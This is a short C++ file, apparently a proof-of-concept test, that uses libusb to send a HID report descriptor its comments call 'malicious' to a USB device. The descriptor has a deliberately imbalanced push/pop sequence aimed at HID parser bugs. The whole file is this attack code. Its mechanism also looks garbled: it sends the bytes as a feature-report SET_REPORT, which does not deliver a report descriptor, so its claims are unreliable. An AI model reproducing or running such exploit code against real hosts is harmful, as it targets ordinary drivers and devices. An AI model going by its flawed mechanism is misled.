test

hid-vtest.cpp

#include <libusb-1.0/libusb.h>
#include <iostream>
#include <cstring>

// Malicious HID descriptor with imbalanced push/pop operations
unsigned char malicious_hid_descriptor[] = {
    0x05, 0x01,         // Usage Page (Generic Desktop)
    0x09, 0x02,         // Usage (Mouse)
    0xA1, 0x01,         // Collection (Application)
    0x85, 0x01,         // Report ID (1)
    0x09, 0x01,         // Usage (Pointer)
    0xA1, 0x00,         // Collection (Physical)
    
    0x05, 0x09,         // Usage Page (Button)
    0x19, 0x01,         // Usage Minimum (Button 1)
    0x29, 0x03,         // Usage Maximum (Button 3)
    0x15, 0x00,         // Logical Minimum (0)
    0x25, 0x01,         // Logical Maximum (1)
    0x75, 0x01,         // Report Size (1)
    0x95, 0x03,         // Report Count (3)
    0x81, 0x02,         // Input (Data, Variable, Absolute)

    0x75, 0x05,         // Report Size (5)
    0x95, 0x01,         // Report Count (1)
    0x81, 0x03,         // Input (Constant, Variable, Absolute)

    // Malicious push-pop imbalance
    0xA4,               // Push
    0xB4,               // Pop
    0xB4,               // Pop (imbalanced)

    0xC0,               // End Collection (Physical)
    0xC0                // End Collection (Application)
};

void send_malicious_hid_descriptor(libusb_device_handle *handle) {
    int transferred = 0;

    // Send the malicious HID descriptor to the device
    int result = libusb_control_transfer(handle, 
        LIBUSB_REQUEST_TYPE_CLASS | LIBUSB_RECIPIENT_INTERFACE | LIBUSB_ENDPOINT_OUT,
        0x09,  // HID SET_REPORT
        0x0300,  // Report type (HID Report Descriptor)
        0,  // Interface number (0 for this example)
        malicious_hid_descriptor, sizeof(malicious_hid_descriptor), 5000);

    if (result < 0) {
        std::cerr << "Error sending descriptor: " << libusb_error_name(result) << std::endl;
    } else {
        std::cout << "Malicious descriptor sent successfully!" << std::endl;
    }
}

int main() {
    libusb_context *context = nullptr;
    libusb_device_handle *handle = nullptr;

    // Initialize libusb
    if (libusb_init(&context) < 0) {
        std::cerr << "Failed to initialize libusb" << std::endl;
        return -1;
    }

    // Open a USB device (replace with your USB device's Vendor ID and Product ID)
    handle = libusb_open_device_with_vid_pid(context, 0x1234, 0x5678);
    if (!handle) {
        std::cerr << "Failed to open device" << std::endl;
        libusb_exit(context);
        return -1;
    }

    // Claim the interface
    if (libusb_claim_interface(handle, 0) < 0) {
        std::cerr << "Failed to claim interface" << std::endl;
        libusb_close(handle);
        libusb_exit(context);
        return -1;
    }

    // Send the malicious HID descriptor
    send_malicious_hid_descriptor(handle);

    // Release the interface and close the device
    libusb_release_interface(handle, 0);
    libusb_close(handle);
    libusb_exit(context);

    return 0;
}